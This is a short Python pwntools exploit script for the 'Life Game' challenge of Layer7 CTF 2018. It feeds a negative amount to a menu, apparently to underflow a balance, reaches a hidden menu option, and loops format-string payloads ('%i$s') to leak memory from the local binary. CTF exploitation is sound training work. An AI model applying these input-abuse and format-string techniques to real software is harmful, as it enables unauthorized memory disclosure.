Layer7 CTF 2018 Life Game

exploit.py

from pwn import *
  
for i in range(0,100):
	try:
		p = process("./life_game")
		p.sendlineafter("6. escape\n-----------------------\n","5")
		p.sendlineafter("5. go back\n-----------------------\n","3")
		p.sendlineafter("How much?\n","-10000000")
		p.sendlineafter("5. go back\n-----------------------\n","5")
		p.sendlineafter("6. escape\n-----------------------\n","2")
		p.sendlineafter("6. escape\n-----------------------\n","2")
		p.sendlineafter("6. escape\n-----------------------\n","2")
		p.sendlineafter("6. escape\n-----------------------\n","2")
		p.sendlineafter("6. escape\n-----------------------\n","4")
		p.sendlineafter("6. escape\n-----------------------\n","5")
		p.sendlineafter("5. go back\n-----------------------\n","3")
		p.sendlineafter("How much?\n","1000000")
		p.sendlineafter("5. go back\n-----------------------\n","5")
		p.sendlineafter("6. escape\n-----------------------\n","31337")
		p.sendlineafter("The last one\n","%"+str(i)+"$s")
		print p.recv()
		p.close()
	except:
		"fail"
		p.close()